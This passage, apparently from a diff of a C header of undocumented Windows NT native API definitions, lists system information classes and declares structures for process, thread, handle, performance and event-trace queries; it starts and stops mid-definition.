SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION + SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool) + SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120 + SystemNodeDistanceInformation, + SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26 + SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation + SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1 + SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8 + SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only) + SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION + SystemBadPageInformation, + SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA + SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130 + SystemEntropyInterruptTimingCallback, + SystemConsoleInformation, // q: SYSTEM_CONSOLE_INFORMATION + SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION + SystemThrottleNotificationInformation, + SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION + SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION + SystemDeviceDataEnumerationInformation, + SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION + SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION + SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140 + SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // since WINBLUE + SystemSpare0, + SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION + SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX + SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION + SystemEntropyInterruptTimingRawInformation, + SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION + SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin) + SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX + SystemBootMetadataInformation, // 150 + SystemSoftRebootInformation, // q: ULONG + SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION + SystemOfflineDumpConfigInformation, + SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION + SystemRegistryReconciliationInformation, + SystemEdidInformation, + SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD + SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION + SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION + SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION // 160 + SystemVmGenerationCountInformation, + SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION + SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS + SystemCodeIntegrityPolicyInformation, // q: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION + SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION + SystemHardwareSecurityTestInterfaceResultsInformation, + SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION + SystemAllowedCpuSetsInformation, + SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation) + SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170 + SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION + SystemCodeIntegrityPolicyFullInformation, + SystemAffinitizedInterruptProcessorInformation, + SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION + SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2 + SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION + SystemWin32WerStartCallout, + SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION + SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE + SystemInterruptSteeringInformation, // 180 + SystemSupportedProcessorArchitectures, + SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION + SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION + SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2 + SystemControlFlowTransition, + SystemKernelDebuggingAllowed, // s: ULONG + SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE + SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS + SystemCodeIntegrityPoliciesFullInformation, + SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190 + SystemIntegrityQuotaInformation, + SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION + SystemProcessorIdleMaskInformation, // q: ULONG_PTR // since REDSTONE3 + SystemSecureDumpEncryptionInformation, + SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION + SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION + SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4 + SystemFirmwareBootPerformanceInformation, + SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION + SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200 + SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above. + SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION + SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION + SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5 + SystemCodeIntegrityUnlockModeInformation, + SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION + SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION + SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1 + SystemCodeIntegritySyntheticCacheInformation, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS; + +typedef struct _SYSTEM_BASIC_INFORMATION +{ + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + ULONG NumberOfPhysicalPages; + ULONG LowestPhysicalPageNumber; + ULONG HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_INFORMATION +{ + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT MaximumProcessors; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION +{ + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + ULONG CommittedPages; + ULONG CommitLimit; + ULONG PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG AvailablePagedPoolPages; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; + ULONGLONG CcTotalDirtyPages; // since THRESHOLD + ULONGLONG CcDirtyPageThreshold; // since THRESHOLD + LONGLONG ResidentAvailablePages; // since THRESHOLD + ULONGLONG SharedCommittedPages; // since THRESHOLD +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION +{ + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +typedef struct _SYSTEM_THREAD_INFORMATION +{ + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + KTHREAD_STATE ThreadState; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _TEB *PTEB; + +// private +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION +{ + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + PTEB TebBase; // since VISTA + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; // since VISTA + ULONG HardFaultCount; // since WIN7 + ULONG NumberOfThreadsHighWatermark; // since WIN7 + ULONGLONG CycleTime; // since WIN7 + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation) + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation + // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation + // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION +{ + ULONG Length; + ULONG NumberOfTables; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_DEVICE_INFORMATION +{ + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION +{ + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_FLAGS_INFORMATION +{ + ULONG Flags; // NtGlobalFlag +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + +// private +typedef struct _SYSTEM_CALL_TIME_INFORMATION +{ + ULONG Length; + ULONG TotalCalls; + LARGE_INTEGER TimeOfCalls[1]; +} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION; + +// private +typedef struct _RTL_PROCESS_LOCK_INFORMATION +{ + PVOID Address; + USHORT Type; + USHORT CreatorBackTraceIndex; + HANDLE OwningThread; + LONG LockCount; + ULONG ContentionCount; + ULONG EntryCount; + LONG RecursionCount; + ULONG NumberOfWaitingShared; + ULONG NumberOfWaitingExclusive; +} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION; + +// private +typedef struct _RTL_PROCESS_LOCKS +{ + ULONG NumberOfLocks; + RTL_PROCESS_LOCK_INFORMATION Locks[1]; +} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS; + +// private +typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION +{ + PCHAR SymbolicBackTrace; + ULONG TraceCount; + USHORT Index; + USHORT Depth; + PVOID BackTrace[32]; +} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION; + +// private +typedef struct _RTL_PROCESS_BACKTRACES +{ + ULONG CommittedMemory; + ULONG ReservedMemory; + ULONG NumberOfBackTraceLookups; + ULONG NumberOfBackTraces; + RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[1]; +} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_OBJECTTYPE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfObjects; + ULONG NumberOfHandles; + ULONG TypeIndex; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG PoolType; + BOOLEAN SecurityRequired; + BOOLEAN WaitableObject; + UNICODE_STRING TypeName; +} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION +{ + ULONG NextEntryOffset; + PVOID Object; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Flags; + LONG PointerCount; + LONG HandleCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + HANDLE ExclusiveProcessId; + PVOID SecurityDescriptor; + UNICODE_STRING NameInfo; +} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; + +typedef struct _SYSTEM_PAGEFILE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; +} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION; + +#define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 +#define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 +#define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 +#define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 + +typedef struct _SYSTEM_FILECACHE_INFORMATION +{ + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; + +// Can be used instead of SYSTEM_FILECACHE_INFORMATION +typedef struct _SYSTEM_BASIC_WORKING_SET_INFORMATION +{ + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; +} SYSTEM_BASIC_WORKING_SET_INFORMATION, *PSYSTEM_BASIC_WORKING_SET_INFORMATION; + +typedef struct _SYSTEM_POOLTAG +{ + union + { + UCHAR Tag[4]; + ULONG TagUlong; + }; + ULONG PagedAllocs; + ULONG PagedFrees; + SIZE_T PagedUsed; + ULONG NonPagedAllocs; + ULONG NonPagedFrees; + SIZE_T NonPagedUsed; +} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG; + +typedef struct _SYSTEM_POOLTAG_INFORMATION +{ + ULONG Count; + SYSTEM_POOLTAG TagInfo[1]; +} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION +{ + ULONG ContextSwitches; + ULONG DpcCount; + ULONG DpcRate; + ULONG TimeIncrement; + ULONG DpcBypassCount; + ULONG ApcBypassCount; +} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; + +typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION +{ + ULONG Spare; + ULONG DpcQueueDepth; + ULONG MinimumDpcRate; + ULONG AdjustDpcThreshold; + ULONG IdealDpcRate; +} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION +{ + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE +{ + ULONGLONG TimeAdjustment; + ULONGLONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION +{ + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE +{ + ULONGLONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE, *PSYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE; + +typedef enum _EVENT_TRACE_INFORMATION_CLASS +{ + EventTraceKernelVersionInformation, // EVENT_TRACE_VERSION_INFORMATION + EventTraceGroupMaskInformation, // EVENT_TRACE_GROUPMASK_INFORMATION + EventTracePerformanceInformation, // EVENT_TRACE_PERFORMANCE_INFORMATION + EventTraceTimeProfileInformation, // EVENT_TRACE_TIME_PROFILE_INFORMATION + EventTraceSessionSecurityInformation, // EVENT_TRACE_SESSION_SECURITY_INFORMATION + EventTraceSpinlockInformation, // EVENT_TRACE_SPINLOCK_INFORMATION + EventTraceStackTracingInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION + EventTraceExecutiveResourceInformation, // EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION + EventTraceHeapTracingInformation, // EVENT_TRACE_HEAP_TRACING_INFORMATION + EventTraceHeapSummaryTracingInformation, // EVENT_TRACE_HEAP_TRACING_INFORMATION + EventTracePoolTagFilterInformation, // EVENT_TRACE_TAG_FILTER_INFORMATION + EventTracePebsTracingInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION + EventTraceProfileConfigInformation, // EVENT_TRACE_PROFILE_COUNTER_INFORMATION + EventTraceProfileSourceListInformation, // EVENT_TRACE_PROFILE_LIST_INFORMATION + EventTraceProfileEventListInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION + EventTraceProfileCounterListInformation, // EVENT_TRACE_PROFILE_COUNTER_INFORMATION + EventTraceStackCachingInformation, // EVENT_TRACE_STACK_CACHING_INFORMATION + EventTraceObjectTypeFilterInformation, // EVENT_TRACE_TAG_FILTER_INFORMATION + EventTraceSoftRestartInformation, // EVENT_TRACE_SOFT_RESTART_INFORMATION + EventTraceLastBranchConfigurationInformation, // REDSTONE3 + EventTraceLastBranchEventListInformation, + EventTraceProfileSourceAddInformation, // EVENT_TRACE_PROFILE_ADD_INFORMATION // REDSTONE4 + EventTraceProfileSourceRemoveInformation, // EVENT_TRACE_PROFILE_REMOVE_INFORMATION + EventTraceProcessorTraceConfigurationInformation, + EventTraceProcessorTraceEventListInformation, + EventTraceCoverageSamplerInformation, // EVENT_TRACE_COVERAGE_SAMPLER_INFORMATION + MaxEventTraceInfoClass +} EVENT_TRACE_INFORMATION_CLASS; + +typedef struct _EVENT_TRACE_VERSION_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG EventTraceKernelVersion; +} EVENT_TRACE_VERSION_INFORMATION, *PEVENT_TRACE_VERSION_INFORMATION; + +typedef struct _PERFINFO_GROUPMASK +{ + ULONG Masks[8]; +} PERFINFO_GROUPMASK, *PPERFINFO_GROUPMASK; + +typedef struct _EVENT_TRACE_GROUPMASK_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + HANDLE TraceHandle; + PERFINFO_GROUPMASK EventTraceGroupMasks; +} EVENT_TRACE_GROUPMASK_INFORMATION, *PEVENT_TRACE_GROUPMASK_INFORMATION; + +typedef struct _EVENT_TRACE_PERFORMANCE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + LARGE_INTEGER LogfileBytesWritten; +} EVENT_TRACE_PERFORMANCE_INFORMATION, *PEVENT_TRACE_PERFORMANCE_INFORMATION; + +typedef struct _EVENT_TRACE_TIME_PROFILE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG ProfileInterval; +} EVENT_TRACE_TIME_PROFILE_INFORMATION, *PEVENT_TRACE_TIME_PROFILE_INFORMATION; + +typedef struct _EVENT_TRACE_SESSION_SECURITY_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG SecurityInformation; + HANDLE TraceHandle; + UCHAR SecurityDescriptor[1]; +} EVENT_TRACE_SESSION_SECURITY_INFORMATION, *PEVENT_TRACE_SESSION_SECURITY_INFORMATION; + +typedef struct _EVENT_TRACE_SPINLOCK_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG SpinLockSpinThreshold; + ULONG SpinLockAcquireSampleRate; + ULONG SpinLockContentionSampleRate; + ULONG SpinLockHoldThreshold; +} EVENT_TRACE_SPINLOCK_INFORMATION, *PEVENT_TRACE_SPINLOCK_INFORMATION; + +typedef struct _EVENT_TRACE_SYSTEM_EVENT_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + HANDLE TraceHandle; + ULONG HookId[1]; +} EVENT_TRACE_SYSTEM_EVENT_INFORMATION, *PEVENT_TRACE_SYSTEM_EVENT_INFORMATION; + +typedef struct _EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG ReleaseSamplingRate; + ULONG ContentionSamplingRate; + ULONG NumberOfExcessiveTimeouts; +} EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION, *PEVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION; + +typedef struct _EVENT_TRACE_HEAP_TRACING_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG ProcessId; +} EVENT_TRACE_HEAP_TRACING_INFORMATION, *PEVENT_TRACE_HEAP_TRACING_INFORMATION; + +typedef struct _EVENT_TRACE_TAG_FILTER_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + HANDLE TraceHandle; + ULONG Filter[1]; +} EVENT_TRACE_TAG_FILTER_INFORMATION, *PEVENT_TRACE_TAG_FILTER_INFORMATION; + +typedef struct _EVENT_TRACE_PROFILE_COUNTER_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + HANDLE TraceHandle; + ULONG ProfileSource[1]; +} EVENT_TRACE_PROFILE_COUNTER_INFORMATION, *PEVENT_TRACE_PROFILE_COUNTER_INFORMATION; + +//typedef struct _PROFILE_SOURCE_INFO +//{ +// ULONG NextEntryOffset; +// ULONG Source; +// ULONG MinInterval; +// ULONG MaxInterval; +// PVOID Reserved; +// WCHAR Description[1]; +//} PROFILE_SOURCE_INFO, *PPROFILE_SOURCE_INFO; + +typedef struct _EVENT_TRACE_PROFILE_LIST_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + ULONG Spare; + struct _PROFILE_SOURCE_INFO* Profile[1]; +} EVENT_TRACE_PROFILE_LIST_INFORMATION, *PEVENT_TRACE_PROFILE_LIST_INFORMATION; + +typedef struct _EVENT_TRACE_STACK_CACHING_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + HANDLE TraceHandle; + BOOLEAN Enabled; + UCHAR Reserved[3]; + ULONG CacheSize; + ULONG BucketCount; +} EVENT_TRACE_STACK_CACHING_INFORMATION, *PEVENT_TRACE_STACK_CACHING_INFORMATION; + +typedef struct _EVENT_TRACE_SOFT_RESTART_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + HANDLE TraceHandle; + BOOLEAN PersistTraceBuffers; + WCHAR FileName[1]; +} EVENT_TRACE_SOFT_RESTART_INFORMATION, *PEVENT_TRACE_SOFT_RESTART_INFORMATION; + +typedef struct _EVENT_TRACE_PROFILE_ADD_INFORMATION +{ + EVENT_TRACE_INFORMATION_CLASS EventTraceInformationClass; + BOOLEAN PerfEvtEventSelect; + BOOLEAN PerfEvtUnitSelect; + ULONG PerfEvtType; + ULONG CpuInfoHierarchy[0x3]; + ULONG InitialInterval; + BOOLEAN AllowsHalt; + BOOLEAN Persist; + WCHAR 